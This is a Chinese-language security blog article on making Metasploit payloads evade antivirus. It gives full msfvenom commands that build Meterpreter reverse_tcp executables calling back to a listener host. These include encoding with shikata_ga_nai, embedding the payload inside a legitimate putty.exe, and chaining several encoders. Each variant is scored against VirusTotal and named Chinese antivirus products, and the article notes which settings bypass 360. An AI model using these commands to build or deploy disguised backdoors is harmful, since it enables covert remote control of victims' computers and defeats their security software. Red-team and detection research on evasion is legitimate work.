远控免杀专题文章(3)-msf自免杀(VT免杀率35/69)
2020-02-20 18:26:22 Author: www.secpulse.com(查看原文) 阅读量:309 收藏

本专题文章导航

1、远控免杀专题文章(1)-基础篇:https://www.secpulse.com/archives/123295.html

2、远控免杀专题文章(2)-msfvenom隐藏的参数:https://www.secpulse.com/archives/123300.html


免杀能力一览

几点说明:

1、上面表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。


1.前言

本节主要是对msf自身提供的免杀机制(编码+捆绑)进行尝试,由于msf被各大安全厂商盯的比较紧,所以这些常规的方法免杀效果肯定是比较差的,但有时把一两种常规方法稍微结合一下就能达到比较好的免杀效果。

2.未处理的payload(VT查杀率53/69)

在做免杀之前,我们先生成一个原始payload作为原始参数对比,这里我们就选使用频率最高的windows/meterperter/reverse_tcp,这也是被各大杀软盯的最紧的一个。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o payload1.exe

基本不用怀疑,本地的360全家桶和火绒都能查杀。

virustotal.com上查杀率为53/69

最原始的payload居然还有16个查杀不出来的,看看都有哪些(额。。。6个国内的。。。马云爸爸也出杀软了??)笔误,panda不是国内的。。

3.msf自编码处理(VT查杀率61/69)

使用msfvenom --list encoders可查看所有编码器

评级最高的两个encoder为cmd/powershell_base64x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。

使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这里设置15次,并使用了-b参数去掉payload中的空字符。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "x00" -i 15  -f exe -o payload2.exe

测试机器运行,本地的360全家桶和火绒都能查杀。

virustotal.com上查杀率为51/69

由于shikata_ga_nai编码技术是多态的,也就是说每次生成的payload文件都不一样,有时生成的文件会被查杀,有时却不会。当然这个也和编码次数有一定关系,编码次数好像超过70次就经常生成出错,但是编码次数多并不代表免杀能力强。

4.msf自捆绑免杀(VT查杀率39/69)

在生成payload时可以使用捆绑功能,使用msfvenom的-x参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x后面跟对应文件路径就可以。

我这里使用一个正规的putty.exe作为被捆绑测试软件。

生成payload命令如下

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -x putty.exe  -f exe -o payload3.exe

生成的两个文件对比,大小完全一样。

测试机器运行,本地的360全家桶和火绒都能查杀该payload。

virustotal.com上查杀率为39/69

另外,能否免杀也和你选的被捆绑exe有一定关系,可以选微软的一些工具作为模板exe程序。

5.msf自捆绑+编码(VT查杀率35/69)

将上面的编码和捆绑两种方法结合一下进行尝试

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe  -i 15 -f exe -o payload4.exe

测试机器执行,发现火绒动态静态均能查杀,而360不会报病毒。

在关闭火绒后,开启360安全卫士和杀毒的情况下,可上线,可免杀。

可修改-i编码次数,编码次数越多,生成的payload越可能免杀,经测试,编码5次和6次可免杀360。

virustotal.com上查杀率为35/69

看来稍微组合一下是能过更多的杀软的。后面会介绍更多的免杀方法,自己可以尝试多种免杀进行组合,垒积木一样的感觉...

6.msfvenom多重编码(VT查杀率45/70)

msfvenom的encoder编码器可以对payload进行一定程度免杀,同时还可以使用msfvenom多重编码功能,通过管道,让msfvenom用不同编码器反复编码进行混淆。

如下命令,使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以putty.exe为模板的可执行文件。

msfvenom  -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe

还有这种更多重编码姿势

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe

virustotal.com上查杀率为45/70,编码多了,免杀率居然降低了。。。尴尬。。。

经过测试,发现使用的编码类型越多,免杀率可能会降低,猜测是因为各种编码引入了更多的特征码。同时生成的payload也很可能无法正常执行,这个也和被捆绑程序有一定关联。

参考资料

使用msf编码器避开杀毒软件的检测:https://www.freebuf.com/column/216599.html

msf多重编码:https://blog.csdn.net/wyf12138/article/details/79825833

Msfvenom学习总结:http://www.secist.com/archives/3353.html

msfvenom生成后门的免杀测试:

http://www.naivete.online/msfvenom%E7%94%9F%E6%88%90%E5%90%8E%E9%97%A8%E7%9A%84%E5%85%8D%E6%9D%80%E6%B5%8B%E8%AF%95/

本文作者:Ms08067安全实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/123315.html


文章来源: https://www.secpulse.com/archives/123315.html
如有侵权请联系:admin#unsafe.sh